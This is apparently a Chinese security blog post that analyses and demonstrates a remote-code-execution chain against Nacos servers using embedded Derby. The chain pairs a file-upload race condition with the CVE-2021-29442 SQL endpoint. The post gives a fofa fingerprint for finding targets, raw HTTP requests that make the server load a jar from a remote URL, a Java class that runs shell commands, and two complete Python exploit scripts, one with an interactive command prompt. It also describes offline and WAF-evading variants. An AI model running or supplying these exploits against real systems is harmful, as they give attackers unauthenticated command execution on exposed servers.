再不蹭热点就凉啦~
--vvmdx
0x01 简介
0x02 涉及软件
0x03 检索指纹
0x04 漏洞分析
执行用户上传的文件
条件竞争
SQL注入
0x05 漏洞复现
0x06 不出网利用姿势
准备
基于FUNCTION的不出网利用
基于PROCEDURE的不出网利用
0x07 延伸场景及总结
Nacos(全称为 “Naming and Configuration Service”)是一个开源的分布式服务发现和配置管理平台,由阿里巴巴集团开发并开源。Nacos 提供了服务注册、发现、配置管理、动态 DNS 服务等功能,可帮助开发者构建弹性的、高可用的微服务架构。
nacos2.3.2
nacos2.4.0
fofa: app="NACOS"
环境搭建:
git clone https://github.com/nacos-group/nacos-docker.git
cd nacos-docker
docker-compose -f example/standalone-derby.yaml up
该漏洞最早于2020年出现在https://github.com/alibaba/nacos/issues/4463 当时官方不认这个漏洞,认为是特性,默认的docker也没加鉴权,当时这个漏洞主要用于未授权查询SQL,现在配合另一个可造成命令执行的漏洞。
该漏洞有两个利用条件:
最新代码存在第二行鉴权行,然而最新版本的官方docker默认配置也不加鉴权
@PostMapping(value = "/data/removal")
@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")
public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {
DeferredResult<RestResult<String>> response = new DeferredResult<>();
if (!DatasourceConfiguration.isEmbeddedStorage()) {
response.setResult(RestResultUtils.failed("Limited to embedded storage mode"));
return response;
}
DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);
WebUtils.onFileUpload(multipartFile, file -> {
NotifyCenter.publishEvent(new DerbyImportEvent(false));
databaseOperate.dataImport(file).whenComplete((result, ex) -> {
NotifyCenter.publishEvent(new DerbyImportEvent(true));
if (Objects.nonNull(ex)) {
response.setResult(RestResultUtils.failed(ex.getMessage()));
return;
}
response.setResult(result);
});
}, response);
return response;
}
对/data/removal
接口进行文件上传时,会创建临时文件记录数据,随后删除,关键函数为这个onFileUpload
函数
public static void onFileUpload(MultipartFile multipartFile, Consumer<File> consumer,
DeferredResult<RestResult<String>> response) {
if (Objects.isNull(multipartFile) || multipartFile.isEmpty()) {
response.setResult(RestResultUtils.failed("File is empty"));
return;
}
File tmpFile = null;
try {
tmpFile = DiskUtils.createTmpFile(multipartFile.getName(), TMP_SUFFIX);
multipartFile.transferTo(tmpFile);
consumer.accept(tmpFile);
} catch (Throwable ex) {
if (!response.isSetOrExpired()) {
response.setResult(RestResultUtils.failed(ex.getMessage()));
}
} finally {
DiskUtils.deleteQuietly(tmpFile);
}
}
这里用了类似生产-消费者的模式:
条件竞争失败则返回
{"code":500,"message":"File '/tmp/file3339752271242765906.tmp' does not exist","data":null}
条件竞争成功则返回
{"code":200,"message":null,"data":""}
重复多次成功则返回already exists
{"code":500,"message":"org.springframework.dao.DataIntegrityViolationException: StatementCallback; SQL [CALL sqlj.install_jar('http://ip:port/download', 'NACOS.hPbTQwag', 0); CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hPbTQwag'); CREATE FUNCTION S_EXAMPLE_hPbTQwag( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec']; Jar file 'HPBTQWAG' already exists in Schema 'NACOS'.; nested exception is java.sql.BatchUpdateException: Jar file 'HPBTQWAG' already exists in Schema 'NACOS'.","data":null}
SQL注入发生点则是一个2020年的漏洞(CVE-2021-29442),允许我们任意select,最新代码多了第二行鉴权行,然而默认最新版本的官方docker也不加鉴权,这也是风险所在
@GetMapping(value = "/derby")
@Secured(action = ActionTypes.READ, resource = "nacos/admin") //鉴权行
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
String selectSign = "SELECT";
String limitSign = "ROWS FETCH NEXT";
String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
try {
if (!DatasourceConfiguration.isEmbeddedStorage()) {
return RestResultUtils.failed("The current storage mode is not Derby");
}
LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
.getInstance().getDataSource();
if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
JdbcTemplate template = dataSourceService.getJdbcTemplate();
List<Map<String, Object>> result = template.queryForList(sql);
return RestResultUtils.success(result);
}
return RestResultUtils.failed("Only query statements are allowed to be executed");
} catch (Exception e) {
return RestResultUtils.failed(e.getMessage());
}
}
/nacos/v1/cs/ops/derby
和/nacos/v1/cs/ops/data/removal
在使用Derby数据库作为内置数据源时,用于运维人员进行数据运维和问题排查首先需要配合条件竞争执行恶意sql,加载jar包并注册函数
请求包(需要网络环境较好的场景,通常需要重复发包100甚至上千次左右)直到结果返回success
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 496
Content-Type: multipart/form-data; boundary=80d34d17b69db69702aa0eb666e2f7fb
--80d34d17b69db69702aa0eb666e2f7fb
Content-Disposition: form-data; name="file"; filename="file"
CALL sqlj.install_jar('http://127.0.0.1:5001/download', 'NACOS.hPbTQwag', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hPbTQwag')
CREATE FUNCTION S_EXAMPLE_hPbTQwag( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
--80d34d17b69db69702aa0eb666e2f7fb--
执行完上传文件的恶意sql后,就可以用CVE-2021-29442执行UDF函数实现RCE
GET /nacos/v1/cs/ops/derby?sql=select+%2A+from+%28select+count%28%2A%29+as+b%2C+S_EXAMPLE_hPbTQwag%28%27whoami%27%29+as+a+from+config_info%29+tmp+%2F%2AROWS+FETCH+NEXT%2A%2F HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
接收参数并执行命令的类,测试时发现data/removal
接口不可返回内容,因此需要使用void的静态方法,否则CALL的时候会报错
恶意类:用于接收传参并执行命令
package example;
public class Test {
public static void main(String[] args) {
}
public static void exec(String cmd) {
StringBuffer bf = new StringBuffer();
try {
Process p = Runtime.getRuntime().exec(cmd);
} catch (Exception var10) {
}
}
}
src/META-INF/manifest.txt
Manifest-Version: 1.0
Main-Class: example.Test
编译、打包、编码
javac src/example/Test.java
jar -cvf payload.jar -C src/ .
cat payload.jar|base64
最终jar包目录结构:
├── payload.jar
└── src
├── META-INF
│ └── manifest.txt
└── example
├── Test.class
└── Test.java
条件:需要两个接口有权访问
原理:利用SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE
写文件到本地再加载,实现不出网利用(使用方法参考derby官网文档[2])
import random, os
import requests
from urllib.parse import urljoin
import base64
payload = b'' // 准备阶段获得的base64编码
payload = base64.b64decode(payload).hex()
def exploit(target):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
for i in range(1,10000):
if i % 100 == 0:
print(i // 100)
post_sql = """
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar_name}.jar')
CALL sqlj.install_jar('/tmp/{jar_name}.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
""".format(junk=os.urandom(3).hex(),payload=payload,id=now_id,jar_name=jar_name)
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
post_json = post_resp.json()
if post_json.get('message',None) is None and post_json.get('data',None) is not None:
while True:
command = input('>>>')
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)
get_resp = requests.get(url=derby_url,params={'sql':get_sql})
print(get_resp.json())
if __name__ == '__main__':
target = 'http://127.0.0.1:8848'
exploit(target=target)
条件:只需要data/removal
有权访问
该方法可以用于某些只拦截/derby
sql查询接口的waf
这个方法最早出现在lvyyevd的博客[1]中,原理是创建一个Java存储过程,而后可以调用类的静态方法
使用方法:derby官网文档[3]
import random, os
import requests
from urllib.parse import urljoin
import base64
payload = b''
payload = base64.b64decode(payload).hex()
def exploit(target):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8))
now_table = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8))
jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8))
for i in range(1,10000):
if i % 100 == 0:
print(i)
post_sql = """
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar}.jar')
CALL sqlj.install_jar('/tmp/{jar}.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE PROCEDURE {table}(PARAM VARCHAR(200)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'example.Test.exec'
CALL {table}('touch /tmp/666')\n""".format(junk=os.urandom(3).hex(),table=now_table,payload=payload,id=now_id,jar=jar_name)
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
if not post_resp.json()['message'].startswith('File'):
print(post_resp.json())
if __name__ == '__main__':
target = 'http://127.0.0.1:8848'
exploit(target=target)
[1].http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
[2].https://db.apache.org/derby/docs/10.14/ref/rrefexportselectionproclobs.html
[3].https://db.apache.org/derby/docs/10.14/ref/rrefcreateprocedurestatement.html
[4].https://nacos.io/blog/announcement-derby-ops-api/?source=news_announcement/